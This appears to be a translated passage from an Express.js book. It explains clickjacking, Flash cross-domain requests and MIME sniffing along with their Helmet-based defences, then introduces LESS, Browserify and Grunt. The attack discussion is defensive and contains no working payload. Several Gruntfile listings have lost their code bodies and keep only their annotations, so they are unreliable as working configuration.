图 10.4 一个看似无辜但实际上隐藏着点击劫持攻击的页面。

但实际上,这个看起来无辜的页面却隐藏着社交网络页面!里面有一个来自社交网络网站的`<iframe>`,它是不可见的。它放置得恰到好处,所以当你点击“点击此处进入我的页面”时,你实际上是在点击“点击使个人资料公开”。

![图片 10_05](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/10_05.png)

图 10.5 现在不再那么无辜了,对吧!?

我不知道你,但我觉得这相当巧妙。不幸的是,对于黑客来说,这很容易预防。

大多数浏览器(以及所有现代浏览器)都会监听一个名为`X-Frame-Options`的头部。如果它正在加载一个框架或 iframe,并且该页面发送了一个限制性的`X-Frame-Options`,浏览器将不再加载该框架。

`X-Frame-Options`有三个选项。`DENY`阻止任何人将你的网站放入框架中。`SAMEORIGIN`阻止其他人将你的网站放入框架中,但允许你自己的网站。你也可以使用`ALLOW-FROM`选项允许另一个网站通过。我建议使用`SAMEORIGIN`或`DENY`选项。

和之前一样,如果你使用 Helmet,你可以很容易地设置它们:

列表 10.19 将你的应用排除在框架之外

`app.use(helmet.frameguard("sameorigin"));` `// 或者…``app.use(helmet.frameguard("deny"));`

这个 Helmet 中间件会设置`X-Frame-Options`,这样你就不必担心你的页面容易受到点击劫持攻击。

### 10.6.3   将 Adobe 产品排除在您的网站之外

Adobe 产品,如 Flash Player 和 Reader,可以进行跨域网络请求。因此,一个 Flash 文件可能会向您的服务器发送请求。如果另一个网站提供了恶意 Flash 文件,该网站的访客可能会对您的 Express 应用程序发起任意请求(可能是不知情的)。这可能导致他们不断向您的服务器发送请求或加载您不希望他们加载的资源。

通过在您的网站根目录下添加一个名为`crossdomain.xml`的文件,可以轻松防止这种情况。当 Adobe 产品即将从您的域加载文件时,它将首先检查`crossdomain.xml`文件,以确保您的域允许这样做。作为管理员,您可以定义此 XML 文件以将某些 Flash 用户包含或排除在您的网站之外。然而,您可能不希望任何 Flash 用户出现在您的页面上。在这种情况下,请确保您在网站根目录(在`/crossdomain.xml`)提供此 XML 内容。

列表 10.20:最严格的 crossdomain.xml

`<?xml version="1.0"?>` `<!DOCTYPE cross-domain-policy SYSTEM [CA]` `"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">` `<cross-domain-policy>` `  <site-control permitted-cross-domain-policies="none">``</cross-domain-policy>`

这可以防止任何 Flash 用户从您的网站上加载内容,除非他们来自您的域。如果您想更改此策略,请查看[`www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html`](https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html)上的规范。

此文件可以通过几种方式提供服务。如果您之前使用过 Helmet,您可以简单地添加一个中间件并完成:

列表 10.22:使用 Helmet 提供 crossdomain.xml

`app.use(helmet.crossdomain());`

或者,如果您正在提供静态文件(您很可能在这样做),可以将此限制性的`crossdomain.xml`文件放入您的静态文件目录中。

### 10.6.4   不要让浏览器推断文件类型

想象一个用户已将一个名为`file.txt`的纯文本文件上传到我的服务器。我的服务器以`text/plain`内容类型提供服务,因为它就是纯文本。到目前为止,这很简单。但如果`file.txt`包含如下内容:

列表 10.23:可能以纯文本形式存储的恶意脚本

`function stealUserData() {` `  // 这里有一些邪恶的东西…` `}``stealUserData();`

即使我们将此文件作为纯文本提供服务,它看起来像 JavaScript,一些浏览器会尝试“嗅探”文件类型。这意味着您仍然可以使用`<script src="file.txt"></script>`来运行该文件。许多浏览器即使内容类型不是 JavaScript,也会允许运行`file.txt`。

如果`file.txt`看起来像 HTML,并且浏览器将其解释为 HTML,那么这个 HTML 页面可以包含恶意 JavaScript,这可能会做很多坏事!

幸运的是,我们可以通过一个单一的 HTTP 头部来解决这个问题。你可以将 `X-Content-Type-Options` 头部设置为它的唯一选项,`nosniff`。Helmet 包含 `noSniff` 中间件,你可以这样使用它:

列表 10.24 防止浏览器嗅探 MIME 类型

`app.use(helmet.noSniff());`

真好,一个 HTTP 头部就能解决这个问题!

## 10.7  总结

在本章中,我们学习了如何:

·  “安全思维模式”可以使你更加安全

·  为了确保你的 Express 代码无 bug,可以使用 JSHint 工具、进行测试以及了解常见的 bug

·  各种攻击方式;它们是如何工作的,以及如何预防。这包括跨站脚本攻击、跨站请求伪造、中间人攻击、点击劫持等。

·  处理不可避免的服务器崩溃

·  审计第三方代码


# 11  部署:资源与 Heroku

是时候将我们的应用程序投入到现实世界中了。

本章的第一部分将讨论资源。如果您正在构建任何类型的网站,您很可能需要提供一些 CSS 和 JavaScript。为了性能,通常会将这些资源连接并压缩。同样,使用编译到 CSS 的语言(如 SASS 和 LESS)进行编码,就像使用编译到 JavaScript 的语言(如 CoffeeScript 或 TypeScript)或连接和压缩 JavaScript 一样,是很常见的。当谈论这类事情时,辩论很快就会变成激烈的争论;您应该使用 LESS 还是 SASS?CoffeeScript 是好事吗?无论您选择哪个,我都会向您展示如何使用这些工具中的几个来打包您的资源以供网络使用。

本章剩余部分将向您展示如何构建您的 Express 应用程序,然后将它们上线。有众多部署选项,但我们将选择一个简单且免费的选项:Heroku。我们将在我们的应用程序中添加一些小功能,并将 Express 应用程序部署到野外!

在本章之后,您将:

·  使用 LESS 预处理器更轻松地开发 CSS

·  使用 Browserify 在浏览器中使用 `require`,就像在 Node 中一样

·  压缩您的资源以生成尽可能小的文件

·  使用 Grunt 运行此编译以及其他更多操作

·  使用一些 Express 中间件(connect-assets)作为此 Grunt 工作流程的替代方案

·  了解如何使用 Heroku 将 Express 应用程序部署到网络

## 11.1  LESS,编写 CSS 的更愉快方式

回顾第一章,我们讨论了 Express 的动机。简而言之,我们说 Node.js 功能强大,但其语法可能有点繁琐,而且功能有限。这就是 Express 被创造出来的原因——它并没有从根本上改变 Node.js;它只是使它更加平滑。

以这种方式,LESS 和 CSS 与 Express 和 Node.js 非常相似。简而言之,CSS 是一个强大的布局工具,但其语法可能有点繁琐,而且功能有限。这就是 LESS 被创造出来的原因——它并没有从根本上改变 CSS;它只是使它更加平滑。

CSS 是布局网页的强大工具,但它缺少了人们想要的许多功能。例如,开发者希望通过使用常量变量而不是硬编码的值来减少代码中的重复;变量存在于 LESS 中,但不存在于 CSS 中。LESS 扩展了 CSS 并添加了许多强大的功能。

与 Express 不同,LESS 实际上是一种自己的语言。这意味着它必须被编译成 CSS 才能被网络浏览器使用——浏览器“说”的是 CSS,而不是 LESS。

我们将在 Express 应用程序中看到两种不同的方法来编译 LESS 到 CSS。现在,当您尝试 LESS 时,请访问 [`less2css.org/`](http://less2css.org/)。在页面左侧,您将能够输入 LESS 代码,编译后的 CSS 将会出现在右侧。

![](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/11_01.png)

图 11.1 less2css.org 在行动中。

在接下来的几节中,我们将通过一些示例,你可以在那个网站上尝试它们。当是时候将 LESS 集成到我们的 Express 应用程序中时,我们将转向一个更好、自动化的方法。

LESS 功能丰富,但它实际上有五个主要点:

1.  变量,允许你定义一次像颜色这样的东西并在任何地方使用它们

2.  函数,允许你操作变量(例如,通过将颜色加深 10%)

3.  嵌套选择器,允许你以更接近 HTML 的方式结构化你的样式表,并减少重复

4.  混入,允许你定义可重用的组件并在各种选择器中使用它们

5.  包含,允许你将样式表拆分为多个文件(类似于 Node 中的 `require`)

我们将快速浏览这些主要功能。LESS 非常复杂,我们不会讨论每个细节。如果你对 LESS 的细节功能感兴趣,请查看其文档在 [`lesscss.org/`](http://lesscss.org/)。

### 11.1.1   变量

CSS 没有变量。例如,如果你的网站链接颜色是 `#29A1A4`,并且你决定想将其更改为 `#454545`,你将不得不在 CSS 文件中的每个地方搜索并更改它。如果你想试验在许多不同地方使用的颜色,你将进行查找替换,这可能会导致各种可靠性问题。对于其他开发者来说,哪个颜色是哪个也不清楚;那个颜色在各个地方是如何使用的?

LESS 为 CSS 添加了变量,允许你解决这类问题。

例如,假设你想定义你网站的基色为 `#FF9900`。在 LESS 中,你可能做如下操作:

列表 11.1 LESS 中的变量

`@primary-color: #ff9900;  #A`   `.logo {` `  color: @primary-color;  #B` `  font-weight: bold;` `}`   `a {` `  color: @primary-color;  #B``}`

#A 定义变量 primary-color。

#B 在几个地方使用该变量。

如果你将列表 11.1 中的 LESS 代码通过一个 LESS 编译器(如 [`less2css.org/`](http://less2css.org/) 上的)运行,将生成以下 CSS:

列表 11.2 列表 11.1 编译的 CSS

`.logo {` `  color: #ff9900;  #A` `  font-weight: bold;` `}` `a {` `  color: #ff9900; #A``}`

#A 注意变量被插入在这里。

正如你所见,变量被插入到生成的 CSS 中。现在,如果我们想更改我们网站的主色,我们只需在一个地方做这件事:顶部的变量。

你可能还会注意到 LESS 看起来非常像 CSS,这是故意的——它是语言的严格超集。这意味着任何有效的 CSS 都是有效的 LESS(反之则不然)。这意味着你可以轻松地将现有的 CSS 样式表导入 LESS,并且一切都会正常工作。

### 11.1.2   函数

LESS 也有函数,允许你像在 JavaScript 这样的编程语言中一样操作变量和值。像典型的编程语言一样,有大量的内置函数可以帮助你。然而,与典型的编程语言不同的是,这些函数都是内置于语言中的;你不能定义自己的;你必须使用另一个称为“混入”的功能,我们将在下一节中讨论。

LESS 有多个函数可以用来操作颜色。例如,想象一下你的链接(你的`<a>`标签)有一个基本颜色。当你悬停在它们上面时,它们应该变得更亮。当你点击它们时,它们应该变得更暗。在 LESS 中,函数和变量使得这一点变得简单。

列表 11.3 使用函数调整亮度和暗度

`@link-color: #0000ff;`   `a {` `  color: @link-color;  #A` `}` `a:hover {` `  color: lighten(@link-color, 25%);  #B` `}` `a:active {` `  color: darken(@link-color, 20%);  #C``}`

#A 使用我们之前定义的链接颜色变量;这里没有新的内容。

#B 将链接颜色变亮 25%。

#C 将链接颜色加深 20%。

在我们将 LESS 编译成 CSS 之后,我们会得到以下类似的内容:

列表 11.4 列表 11.3 编译后的 CSS

`a {` `  color: #0000ff;` `}` `a:hover {` `  color: #8080ff; #A` `}` `a:active {` `  color: #000099; #A``}`

#A 注意颜色正在被调整以变得更亮或更暗。

如你所见,LESS 使得调整颜色的亮度和暗度变得更容易。当然,你自己也可以编写这样的 CSS,但找到亮色和暗色可能会有些麻烦。

LESS 内置了大量的其他函数。[`lesscss.org/functions/`](http://lesscss.org/functions/)列出了所有这些函数。

### 11.1.3   混入(Mixins)

可能你在这个部分希望可以定义你自己的函数;为什么 LESS 拥有如此强大的功能?进入混入(mixins),这是一种定义可重复使用的 CSS 声明的方法,你可以在整个样式表中使用它。

可能最常见的一个例子就是使用供应商前缀。如果你想使用 CSS 的`border-radius`属性,你必须给它加上前缀以确保它在 Chrome、Firefox、Internet Explorer、Safari 等浏览器上都能正常工作。你可能见过类似的东西:

`.my-element {` `  -webkit-border-radius: 5px;` `  -moz-border-radius: 5px;` `  -ms-border-radius: 5px;` `  border-radius: 5px;``}`

在 CSS 中,如果你想使用`border-radius`并且让它能在所有浏览器上工作,你需要供应商前缀。而且如果你想添加这些前缀,每次使用`border-radius`时你都必须写上它们。这可能会变得很繁琐,而且容易出错。

在 LESS 中,你不需要定义`border-radius`然后创建多个供应商前缀的副本,你可以定义一个混入,或者一个可重复使用的组件,你可以在多个声明中使用它。它们在其他编程语言中的函数看起来非常相似。

列表 11.5 LESS 中的混入(Mixins)

`.border-radius(@radius) {          #A` `  -webkit-border-radius: @radius;  #A` `     -moz-border-radius: @radius;  #A` `      -ms-border-radius: @radius;  #A` `          border-radius: @radius;  #A` `}` `                                  #A` `.my-element {` `  .border-radius(5px);  #B` `}` `.my-other-element {` `  .border-radius(10px); #B` `}`

#A 定义 border-radius mixin。

#B 在几个元素中使用我们的 border-radius mixin。

现在,如果您通过编译器运行那个 LESS,它将生成以下 CSS:

列表 11.6 列表 11.5 的编译 CSS

`.my-element {` `  -webkit-border-radius: 5px;` `  -moz-border-radius: 5px;` `  -ms-border-radius: 5px;` `  border-radius: 5px;` `}` `.my-other-element {` `  -webkit-border-radius: 10px;` `  -moz-border-radius: 10px;` `  -ms-border-radius: 10px;` `  border-radius: 10px;` `}`

如您所见,mixin 被扩展为繁琐的供应商前缀声明,这样您就无需每次都编写它们。

### 11.1.4   嵌套

在 HTML 中,您的元素是嵌套的。所有内容都位于`<html>`标签内,然后内容将进入`<body>`标签。在 body 内部,您可能有一个`<header>`,其中包含用于导航的`<nav>`。您的 CSS 并不完全反映这一点;如果您想为 header 及其内部的导航添加样式,您可能编写一些 CSS 如下:

列表 11.7 无嵌套的 CSS 示例

`header {` `  background-color: blue;` `}` `header nav {` `  color: yellow;` `}`

在 LESS 中,列表 11.7 将改进为如下所示:

列表 11.8 简单的 LESS 嵌套示例

`header {` `  background-color: blue;` `  nav {             #A` `    color: yellow;  #A` `  }                 #A` `}`

#A 注意导航的样式是如何位于另一个选择器内部的。

LESS 改进了 CSS,允许嵌套规则集。这意味着您的代码将更短、更易读,并且更好地反映了您的 HTML。

嵌套父选择器

嵌套规则集可以引用其父元素。这在很多地方都很有用,一个很好的例子是链接及其悬停状态。您可能有一个针对`a`、`a:visited`、`a:hover`和`a:active`的选择器。在 CSS 中,您可能使用四个不同的选择器来做这件事。在 LESS 中,您将定义一个外部选择器,然后定义三个内部选择器,每个选择器对应一个链接状态。它可能看起来像这样:

列表 11.9 LESS 中引用父选择器

`a {` `  color: #000099;` `  &:visited {  #A` `    color: #330099;` `  }` `  &:hover {  #A` `    color: #0000ff;` `  }` `  &:active {  #A` `    color: #ff0099;` `  }` `}`

#A 在 LESS 中,您使用&符号来引用父选择器。

LESS 嵌套可以做一些简单的事情,比如嵌套选择器以匹配您的 HTML,但它也可以根据父选择器嵌套选择器。

### 11.1.5   包含

随着您的网站越来越大,您将开始拥有越来越多的样式。在 CSS 中,您可以拆分代码到多个文件中,但这会带来多个 HTTP 请求的性能惩罚。

LESS 允许你在编译时将样式拆分成多个文件,这些文件最终合并成一个 CSS 文件,从而提高性能。这意味着开发者可以根据需要将变量和混入(mixins)拆分到单独的文件中,从而编写更模块化的代码。你也可以为首页创建一个 LESS 文件,为用户资料页面创建另一个,依此类推。

语法相当简单:

列表 11.10 包含另一个 LESS 文件

`@import "other-less-file";  #A`

#A 在同一文件夹中导入“other-less-file.less”。

### 11.1.6 LESS 的替代方案

到这本书的这一部分,这应该不会让人感到惊讶:CSS 预处理有多种方式。房间里的大象是 LESS 的最大“对手”,Sass。Sass 非常类似于 LESS;两者都有变量、混入、嵌套选择器、包含和与 Express 的集成。就语言而言,它们非常相似。Sass 最初不是一个 Node 项目,但它非常受欢迎,并且很好地将自己整合到了 Node 世界中。你可以在[`sass-lang.com/`](http://sass-lang.com/)查看它。

大多数阅读这本书的人要么想使用 LESS,要么想使用 Sass。虽然我们在这本书中会使用 LESS,但你通常可以将“LESS”这个词替换为“Sass”,它们的效果是一样的。LESS 和 Sass 在语法上略有不同,但它们在概念上以及如何与 Express 集成方面大体相同。

有一些小型的 CSS 预处理器旨在以某种方式从根本上改变 CSS。Stylus 使 CSS 的语法变得更加优雅,Roole 添加了许多强大的功能,尽管它们都很出色,但它们不像 LESS 或 Sass 那样受欢迎。

其他 CSS 预处理器,如 Myth 和 cssnext,采取了不同的角度。它们不是试图创建一种编译成 CSS 的新语言,而是将 CSS 的未来版本编译成当前版本的 CSS。例如,CSS 的下一个版本有变量,因此这些预处理器将这些新语法编译成当前版本的 CSS。

## 11.2 使用 Browserify 在浏览器中引入模块,就像在 Node 中一样

简而言之,Browserify 是一个打包 JavaScript 的工具,允许你使用 `require` 函数,就像你在 Node 中做的那样。而且我非常喜欢 Browserify。我只是想先把这一点说出来。我真的很喜欢这个工具。

我曾经听到有人将基于浏览器的编程描述为“敌对的”。我喜欢制作客户端项目,但必须承认,路上有很多坑:浏览器的不一致性、没有可靠的模块系统、大量质量参差不齐的包、没有真正的编程语言选择……等等。有时候它很棒,但有时候很糟糕!Browserify 以一种巧妙的方式解决了模块问题:它允许你以与 Node 中相同的方式引入模块(与像 RequireJS 这样的异步和需要丑陋回调的东西形成对比)。这有几个原因使其变得强大。

首先,这让你可以轻松地定义模块。如果 Browserify 看到`evan.js`需要`cake.js`和`burrito.js`,它就会将`cake.js`和`burrito.js`打包,并将它们连接到编译输出的文件中。

其次,它与 Node 模块几乎完全一致。这是一个巨大的优势——基于 Node 和基于浏览器的 JavaScript 都可以使用 Node 模块,让你无需额外工作即可在服务器和客户端之间共享代码。你甚至可以在浏览器中要求大多数原生 Node 模块,许多 Node 特性如`__dirname`也会被解析。

我可以写关于 Browserify 的十四行诗。这东西真的很棒。让我给你展示一下。

### 11.2.1   简单 Browserify 示例

假设你想编写一个网页,该网页生成一个随机颜色并将背景设置为该颜色。也许你想为下一个伟大的配色方案获得灵感。

我们将使用一个名为`random-color`的 npm 模块(在[`www.npmjs.com/package/random-color`](https://www.npmjs.org/package/random-color)),它只是生成一个随机的 RGB 颜色字符串。如果你查看这个模块的源代码,你会看到它对浏览器一无所知——它只设计用于与 Node 的模块系统一起工作。

创建一个新的文件夹来构建这个项目。我们将创建一个类似于以下的`package.json`(你的包版本可能不同):

列表 11.11 简单 Browserify 示例的 package.json

`{` `  "private": true,` `  "scripts": {` `    "build-my-js": "browserify main.js -o compiled.js"` `  },` `  "dependencies": {` `    "browserify": "⁷.0.0",` `    "random-color": "⁰.0.1"` `  }``}`

运行`npm install`,然后创建一个名为`main.js`的文件。将以下内容放入其中:

列表 11.12 简单 Browserify 示例的 main.js

`var randomColor = require("random-color");` `document.body.style.background = randomColor();`

注意,这个文件使用了`require`语句,但它是为浏览器准备的,浏览器本身并没有这个功能。准备好你的小脑袋要被震撼了!!

最后,在同一个目录中定义一个简单的 HTML 文件,内容如下(文件名不重要,只要以`.html`结尾即可):

列表 11.13 简单 Browserify 示例的 HTML 文件

`<!DOCTYPE html>` `<html>` `<body>` `  <script src="compiled.js"></script>` `</body>``</html>`

现在,如果你保存所有这些并运行`npm run build-my-js`,Browserify 会将`main.js`编译成一个新的文件,`compiled.js`。打开你保存的 HTML 文件,你会看到一个每次刷新都会生成随机颜色的网页!

你可以打开`compiled.js`来查看你的代码,以及`random-color`模块。代码可能看起来很丑,但它的样子如下:

`(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i) return i(o,!0);var f=new Error("Cannot find module '"+o+` `"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={ exports:{}};t[o][0].call(l.exports,function(e){var n=t[o] [1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]); return s})({1:[function(require,module,exports){ var randomColor = require("random-color"); document.body.style.backgroundColor = randomColor();` `},{"random-color":2}],2:[function(require,module,exports){ var random = require("rnd");` `module.exports = color;` `function color (max, min) {   max || (max = 255);   return 'rgb(' + random(max, min) + ', ' + random(max, min) + ', ' +   random(max, min) + ')'; }` `},{"rnd":3}],3:[function(require,module,exports){ module.exports = random;` `function random (max, min) {   max || (max = 999999999999);   min || (min = 0);` `  return min + Math.floor(Math.random() * (max - min)); }` `},{}]},{},[1]);`

它们都包裹在一点 Browserify 东西中,以伪造 Node 的模块系统,但它们确实存在……最重要的是,它们可以工作!你现在可以在浏览器中引入 Node 模块了。

Browserify 真的很棒。非常喜欢它。

注意:虽然你可以引入多个实用库(甚至内置的库),但在浏览器中有些事情是伪造不了的,因此不能在 Browserify 中使用。例如,你无法在浏览器中运行一个网络服务器,因此一些 httpmodule 是不可用的。但许多像 `util` 或你编写的模块是完全合法的!

当你使用 Browserify 编写代码时,你可能会希望有一种比每次都运行构建命令更优雅的方式来构建它。让我们来看看一个可以帮助我们使用 Browserify、LESS 以及更多工具的工具。

## 11.3 使用 Grunt 编译、压缩等

我们已经研究了 LESS 和 Browserify,但我们还没有找到一种优雅的方法将它们连接到我们的 Express 应用中。

我们将探讨两种处理方法,第一种是使用一个名为 Grunt 的工具。Grunt(在 [`gruntjs.com/`](http://gruntjs.com/))自称是“JavaScript 任务运行器”,这正是它的功能:运行任务。如果你曾经使用过 Make 或 Rake,Grunt 会让你感到熟悉。

Grunt 在你定义的任务上定义了一个框架。就像 Express 一样,Grunt 是一个最小化的框架。它单独使用时功能有限;你需要安装和配置其他任务以便 Grunt 运行。这些任务包括编译 CoffeeScript 或 LESS 或 SASS,连接 JavaScript 和 CSS,运行测试,等等。你可以在 [`gruntjs.com/plugins`](http://gruntjs.com/plugins) 找到完整的任务列表,但今天我们将使用四个任务:使用 Browserify 编译和连接 JavaScript,将 LESS 编译成 CSS,压缩 JavaScript 和 CSS,以及使用 "watch" 功能避免重复输入相同的命令。

让我们从安装 Grunt 开始。

### 11.3.1   安装 Grunt

这些说明将与官方 Grunt 指令略有不同。文档会告诉你全局安装 Grunt,但我认为如果你能的话,应该本地安装所有东西。这允许你在系统上安装多个版本的 Grunt,并且不会污染全局安装的包。我们将在第十二章中更多地讨论这些最佳实践。

每个项目都有一个 `package.json`。如果你想将 Grunt 添加到项目中,你需要定义一个新的脚本以便你可以运行本地的 Grunt:

列表 11.14 运行本地 Grunt 的脚本

`...` `"scripts": {` `  "grunt": "grunt"` ``}, ...`

如果你想要跟随这些示例,你可以创建一个新的项目,并使用如下类似的裸骨 package.json:

列表 11.15 为这些示例创建的裸骨 package.json

`{` `  "private": true,` `  "scripts": {` `    "grunt": "grunt"` `  }``}`

Grunt 尚未设置好,但一旦设置好,这将允许我们通过运行 `npm run grunt` 来运行本地的 Grunt。

接下来,你需要运行 `npm install grunt --save-dev` 和 `npm install grunt-cli --save-dev`(或者直接运行 `npm install grunt grunt-cli --save-dev`)来将 Grunt 和其命令行工具作为本地依赖项保存。

接下来,你需要创建一个名为 "Gruntfile" 的文件,Grunt 会检查这个文件来确定它应该做什么。Gruntfile 位于项目的根目录(与 package.json 在同一个文件夹中)并且命名为 Gruntfile.js。

这里是一个 "hello world" 的 Gruntfile。当你运行 Grunt 时,它会查看这个 Gruntfile,找到适当的任务,并运行其中的代码。

列表 11.16 一个骨架 Gruntfile

`module.exports = function(grunt) {`   `  grunt.registerTask("default", "Say hello world.", function() {` `    grunt.log.write("Hello world!");` `  });`  `};`

要尝试这个,请在你的终端中输入 `npm run grunt`。你应该会看到以下输出:

`Running "default" task Hello world!` `Done, without errors.` `Grunt is now running the "hello world" task!`

不幸的是,"hello world" 对我们来说并没有什么用处。让我们看看一些更有用的任务,我们可以定义。如果你想要跟随,你可以查看这本书的代码示例在 [`github.com/EvanHahn/Express.js-in-Action-code/tree/master/Chapter_11/grunt-examples`](https://github.com/EvanHahn/Express.js-in-Action-code/tree/master/Chapter_11/grunt-examples)。

### 11.3.2   使用 Grunt 编译 LESS

当我们上面学习 LESS 时,我推荐了一个可以实时编译你代码的网站。这对于学习来说很棒,并且确保你的代码被正确编译也是有用的,但这几乎不是一个自动化的解决方案。你不想把所有的代码都放到网站上,复制粘贴生成的 CSS,然后再复制到 CSS 文件中!让我们让 Grunt 来做这件事。(如果你不使用 LESS,还有其他 Grunt 任务适用于你喜欢的预处理器。只需搜索 Grunt 插件页面 [`gruntjs.com/plugins`](http://gruntjs.com/plugins) 即可。)

首先,让我们编写一个非常简单的 LESS 文件,然后我们将使用 Grunt 编译成 CSS。

列表 11.17 一个简单的 LESS 文件(在 my_css/main.less 中)

`article {` `  display: block;` `  h1 {` `    font-size: 16pt;` `    color: #900;` `  }` `  p {` `    line-height: 1.5em;` `  }``}`

这应该转换成以下 CSS:

列表 11.18 列表 11.17 编译成 CSS

`article {` `  display: block;` `}` `article h1 {` `  font-size: 16pt;` `  color: #900;` `}` `article p {` `  line-height: 1.5em;``}`

如果我们压缩这个 CSS,它应该看起来像这样:

列表 11.19 列表 11.18,压缩后

`article{display: block}article h1{font-size:16pt; color:#900}article p{line-height:1.5em}`

我们可以使用第三方 LESS 任务为 Grunt 获取所需内容!首先,使用 `npm install grunt-contrib-less --save-dev` 安装此 Grunt LESS 任务。接下来,将以下内容添加到你的 Gruntfile 中:

列表 11.20 一个包含 LESS 的 Gruntfile

`module.exports = function(grunt) {` `  grunt.initConfig({  #Z` `    less: {  #A` `      main: {                               #B` `        options: {                           #B` `          paths: ["my_css"]                        #B` `        },                                   #B` `        files: {                                   #B` `          "tmp/build/main.css": "my_css/main.less"  #B` `        }                   #B` `      }` `    }` `  });` `  grunt.loadNpmTasks("grunt-contrib-less");  #D` `  grunt.registerTask("default", ["less"]);  #E` `  };`

#Z grunt.initConfig 为每个 Grunt 任务配置设置。在这种情况下,我们目前只配置 LESS。

#A 我们为 LESS 任务定义配置。这是 Grunt LESS 任务将查看的内容。

#B 定义编译配置。此配置告诉 Grunt LESS 插件将 my_css/main.less 编译成 tmp/build/main.css。

#D 这加载了 Grunt LESS 插件。没有这个,我们将无法编译任何内容!

#E 这告诉 Grunt 在命令行运行 "grunt" 时执行 LESS 编译任务。

现在,当你运行 Grunt `npm run grunt` 时,LESS 将被编译成 `tmp/build/main.css`。完成这个步骤后,你需要确保提供该文件。

提供这些编译后的资源

现在我们已经编译了一些内容,实际上我们需要将其提供给我们的访客!我们将使用 Express 的静态中间件来完成这个任务。我们只需将 `tmp/build` 添加到我们的中间件堆栈中。例如:

列表 11.21 带有编译文件的静态中间件

`var express = require("express");` `var path = require("path");` `var app = express();` `app.use(express.static(path.resolve(__dirname, "public"))); app.use(express.static(path.resolve(__dirname, "tmp/build")));` `app.listen(3000, function() {` `  console.log("App started on port 3000.");``});`

现在,你可以从 public 目录和 `tmp/build` 目录提供文件!

NOTE 你可能不希望将编译后的文件提交到你的仓库中,所以你需要将它们存储在一个你稍后会忽略的版本控制目录中。如果你使用 Git,将 `tmp` 添加到你的 `.gitignore` 中,以确保你的编译资源不会被纳入版本控制。有些人确实喜欢提交这些文件,所以请根据你的需要进行操作。

### 11.3.3 使用 Grunt 与 Browserify

Browserify 智慧地集成了 Grunt,因此我们可以自动化编译客户端 JavaScript 的过程。Browserify...这是一项多么令人惊叹的技术。

首先,安装 `grunt-browserify`,这是一个用于 Browserify 的 Grunt 任务。通过运行 `npm install grunt-browserify --save-dev` 来安装它,然后填写 Gruntfile.js,如下所示:

列表 11.22 带有 Browserify 的 Gruntfile

`module.exports = function(grunt) {` 

#A 注意我们可以在其中保留我们的 LESS 配置;典型的 Gruntfile 经常包含许多配置项。

#B 开始配置 Browserify...

#C 将 my_javascripts 中的 main.js 文件编译到 tmp/build/main.js。

#D 加载 grunt-browserify 任务。

#E 当我们在命令行中运行“grunt”时,同时运行 Browserify 和 LESS。

现在,当你运行 Grunt 并使用 `npm run grunt` 时,这将把 `my_javascripts` 文件夹中的 `main.js` 编译成 `tmp/build/main.js`。如果你已经按照上面的 LESS 指南进行了操作,这应该已经可以提供服务了!

### 11.3.4 使用 Grunt 压缩 JavaScript

不幸的是,Browserify 并不会为你压缩 JavaScript;它的唯一瑕疵。我们希望这样做以尽可能减少文件大小和加载时间。

UglifyJS 是一个流行的 JavaScript 压缩工具,可以将你的代码压缩成极小的尺寸。我们将创建一个 Grunt 任务,利用 UglifyJS 来压缩已经通过 Browserify 处理的代码,称为 `grunt-contrib-uglify`。你可以在 [`www.npmjs.com/package/grunt-contrib-uglify`](https://www.npmjs.org/package/grunt-contrib-uglify) 上了解更多信息。

首先,像往常一样使用 `npm install grunt-contrib-uglify --save-dev` 安装 Grunt 任务。接下来,让我们将其添加到我们的 Gruntfile 中:

列表 11.23 带有 Browserify、LESS 和 Uglify 的 Gruntfile

`module.exports = function(grunt) {`   

#A 如前所述,我们保留了现有的 LESS 和 Browserify 任务。

#B 这会将编译后的 JavaScript 编译成压缩版本。如果你愿意,也可以覆盖完整的 JavaScript:只需将它们都设置为 "tmp/build/main.js"。

#C 我们在现有的任务之外定义了一个名为“build”的新任务。当我们输入“npm run grunt build”时,它将会运行。

`npm run grunt` 与之前没有区别——它会运行默认任务,该任务会运行 Browserify 和 LESS 任务。但当你运行 `npm run grunt build` 时,你会运行 Browserify 任务和 Uglify 任务。现在你的 JavaScript 将会被压缩!

### 11.3.5   "grunt watch"

在开发过程中,你不想每次编辑文件时都要运行 `npm run grunt`。有一个 Grunt 任务可以监视你的文件,并在发生更改时重新运行任何 Grunt 任务。输入 `grunt-contrib-watch`。让我们使用它来自动编译任何更改的 CSS 和 JavaScript。

首先使用 `npm install grunt-contrib-watch --save-dev` 安装任务,然后在 Gruntfile 中添加一些内容,如下所示:

列表 11.24 添加了监视功能的 Gruntfile

`module.exports = function(grunt) {`   

#A 告诉 Grunt 监视任务在 .js 文件更改时运行 Browserify 任务。

#B 告诉 Grunt 监视任务在 .less 文件更改时运行 LESS 任务。

#C 注册新的监视任务,以便在运行“grunt watch”时执行。

在上面的示例中,我们指定了所有要监视的文件和更改时运行的任务——就这么简单。现在,当你运行 `npm run grunt watch` 时,Grunt 将监视你的文件并根据需要编译 CSS/JavaScript。例如,如果你更改了扩展名为 `.less` 的文件,LESS 任务将运行(但不会运行其他任务);这是因为我们已配置 `.less` 文件来触发该任务。

我觉得这非常实用,强烈推荐。

### 11.3.6   其他有用的 Grunt 任务

我们在这里查看了一些 Grunt 任务,但还有很多。你可以在 Grunt 的网站上找到完整的列表 [`gruntjs.com/plugins`](http://gruntjs.com/plugins),但这里有一些可能在某个时候有帮助:

·  grunt-contrib-sass 是我们使用的 LESS 插件的 Sass 版本。如果你更愿意使用 Sass 或 SCSS,可以看看这个。

·  grunt-contrib-requirejs 使用 Require.js 模块系统而不是 Browserify。如果你觉得这样更好,你可以使用它。

·  grunt-contrib-concat 简单地连接文件,这是一种低技术但流行的解决方案,用于解决许多问题。

·  grunt-contrib-imagemin 压缩图像(如 JPEG 和 PNG)。如果你想节省带宽,这是一个好工具。

·  grunt-contrib-coffee 允许你用 CoffeeScript 而不是 JavaScript 编写客户端代码。

## 11.4  使用 connect-assets 编译 LESS 和 CoffeeScript 等

